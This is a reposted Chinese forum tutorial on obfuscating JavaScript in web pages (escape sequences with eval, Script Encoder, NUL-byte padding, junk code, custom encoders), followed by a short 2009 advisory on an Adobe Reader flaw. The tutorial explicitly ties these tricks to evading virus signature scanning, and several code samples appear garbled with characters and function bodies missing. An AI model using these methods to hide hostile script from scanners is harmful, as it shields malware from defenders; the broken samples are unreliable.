大家可能對轉義字符""不太熟悉,但對於JavaScript提供了一些特殊字符如:n (換行)、 r (回車)、' (單引號)等應該是有所瞭解的吧?其實""後面還可以跟八進制或十六進制的數字,如字符"a"則可以表示為:"141"或"x61"(注意是小寫字符"x"),至於雙字節字符如漢字"黑"則僅能用十六進製表示為"u9ED1"(注意是小寫字符"u"),其中字符"u"表示是雙字節字符,根據這個原理例子代碼則可以表示為:
八進制轉義字符串如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")

</SCRIPT>

十六進制轉義字符串如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")

</SCRIPT>

這次沒有瞭解碼函數,因為JavaScript執行時會自行轉換,同樣解碼也是很簡單如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")

</SCRIPT>
就會彈出對話框告訴你解密後的結果!
三:使用Microsoft出品的腳本編碼器Script Encoder來進行編碼
工具的使用就不多介紹啦!我是直接使用JavaScript調用控件Scripting.Encoder完成的編碼!代碼如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

var Senc=new ActiveXObject("Scripting.Encoder");

var code='<SCRIPT LANGUAGE="JavaScript">rnalert("黑客防線");rn</SCRIPT>';

var Encode=Senc.EncodeScriptFile(".htm",code,0,"");

alert(Encode);

</SCRIPT>

編碼後的結果如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JScript.Encode">#@~^FgAAAA==@#@&lsDD`J黑客防線r#p@#@&FgMAAA==^#~@</SCRIPT>


夠難看懂得吧?但相應的解密工具早已出來,而且連解密網頁都有!因為其解密網頁代碼過多,我就不多說拉!給大家介紹一下我獨創的解密代碼,如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JScript.Encode">

function decode()

alert(decode.toString());

</SCRIPT>

咋樣?夠簡單吧?它是原理是:編碼後的代碼運行前IE會先對其進行解碼,如果我們先把加密的代碼放入一個自定義函數如上面的decode()中,然後對自定義函數decode調用toString()方法,得到的將是解碼後的代碼!
如果你覺得這樣編碼得到的代碼LANGUAGE屬性是JScript.Encode,很容易讓人識破,那麼還有一個幾乎不為人知的window對象的方法execScript(),其原形為:
window.execScript( sExpression, sLanguage )
參數:
sExpression:  必選項。字符串(String)。要被執行的代碼。
sLanguage :  必選項。字符串(String)。指定執行的代碼的語言。默認值為 Microsoft JScript
使用時,前面的"window"可以省略不寫!
利用它我們可以很好的運行編碼後的JavaScript代碼,如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

execScript("#@~^FgAAAA==@#@&lsDD`J黑客防線r#p@#@&FgMAAA==^#~@","JScript.Encode")

</SCRIPT>
你可以利用方法二對其中的""號內的字符串再進行編碼,使得"JScript.Encode"以及編碼特徵碼"#@~^"不出現,效果會更好!
四:任意添加NUL空字符(十六進制00H)
一次偶然的實驗,使我發現在HTML網頁中任意位置添加任意個數的"空字符",IE照樣會正常顯示其中的內容,並正常執行其中的JavaScript 代碼,而添加的"空字符"我們在用一般的編輯器查看時,會顯示形如空格或黑塊,使得原碼很難看懂,如用記事本查看則"空字符"會變成"空格",利用這個原理加密結果如下:(其中顯示的"空格"代表"空字符")
以下是代碼片段:
<SCRIPT Language = "JavaScript">
alert("黑客防線");
</SCRIPT>

如何?是不是顯得亂七八糟的?如果不知道方法的人很難想到要去掉裡面的"空字符"(00H)的!
五:無用內容混亂以及換行空格TAB大法
在JAVASCRIPT代碼中我們可以加入大量的無用字符串或數字,以及無用代碼和註釋內容等等,使真正的有用代碼埋沒在其中,並把有用的代碼中能加入換行、空格、TAB的地方加入大量換行、空格、TAB,並可以把正常的字符串用""來進行換行,這樣就會使得代碼難以看懂!如我加密後的形式如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

"xajgxsadffgds";1234567890

625623216;var $=0;alert//@$%%&*()(&(^%^

//cctv function//

(//hhsaasajx xc

/*

asjgdsgu*/

"黑客防線"//ashjgfgf

/*

@#%$^&%$96667r45fggbhytjty

*/

//window

)

;"#@$#%@#432hu";212351436

</SCRIPT>
至少如果我看到這樣的代碼是不會有心思去分析它的,你哪?
六:自寫解密函數法
這個方法和一、二差不多,只不過是自己寫個函數對代碼進行解密,很多VBS病毒使用這種方法對自身進行加密,來防止特徵碼掃瞄!下面是我寫的一個簡單的加密解密函數,
加密代碼如下(詳細參照文件"加密.htm"):
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

function compile(code)

{

var c=String.fromCharCode(code.charCodeAt(0)+code.length);

for(var i=1;i<code.length;i++){

c+=String.fromCharCode(code.charCodeAt(i)+code.charCodeAt(i-1));

}

alert(escape(c));

}

compile('alert("黑客防線");')

</SCRIPT>

運行得到加密結果為:o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd
相應的加密後解密的代碼如下:
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

function uncompile(code)

{

code=unescape(code);

var c=String.fromCharCode(code.charCodeAt(0)-code.length);

for(var i=1;i<code.length;i++){

c+=String.fromCharCode(code.charCodeAt(i)-c.charCodeAt(i-1));

}

return c;

}

eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));

</SCRIPT>
七:錯誤的利用
利用try{}catch(e){}結構對代碼進行測試解密,雖然這個想法很好(呵呵,誇誇自己),因為實用性不大,我僅給個例子
以下是代碼片段:
<SCRIPT LANGUAGE="JavaScript">

var a='alert("黑客防線");';

var c="";

for(var i=0;i<a.length;i++){

c+=String.fromCharCode(a.charCodeAt(i)^61);}

alert(c);


//上面的是加密代碼,當然如果真正使用這個方法時,不會把加密寫上的

//現在變量c就是加密後的代碼

//下面的函數t()先假設初始密碼為0,解密執行,

//遇到錯誤則把密碼加1,然後接著解密執行,直到正確運行

以下是代碼片段:

var d=c; //保存加密後的代碼

var b=0; //假定初始密碼為0

t();

function t()catch(e){

c="";

for(var i=0;i<d.length;i++){

c+=String.fromCharCode(d.charCodeAt(i)^b);}

b+=1;

t();

//setTimeout("t()",0);

}

}

</SCRIPT>

註: 本文轉載自網路 非原創
轉載自 邪惡八進制信息安全團隊

Adobe Reader再度出現漏洞(Remote Code-execution)

Info:
Published:     Oct 08 2009 12:00AM
Updated:     Oct 08 2009 11:59PM
Credit:     Chia-Ching Fang and the Information and Communication Security Technology Service Center
Vulnerable:  ALL

Discussion:

Adobe Acrobat Reader is prone to a remote code-execution vulnerability.
An attacker can exploit this issue by supplying a malicious PDF file. Successful exploits may allow the attacker to execute arbitrary code in the context of a user running the affected application. Failed attempts will likely result in denial-of-service conditions.
Solution:
The vendor plans to releases updates for this issue on October 13, 2009.


註: 本文轉載自網路 非原創
轉載自 SecurityFocus 原文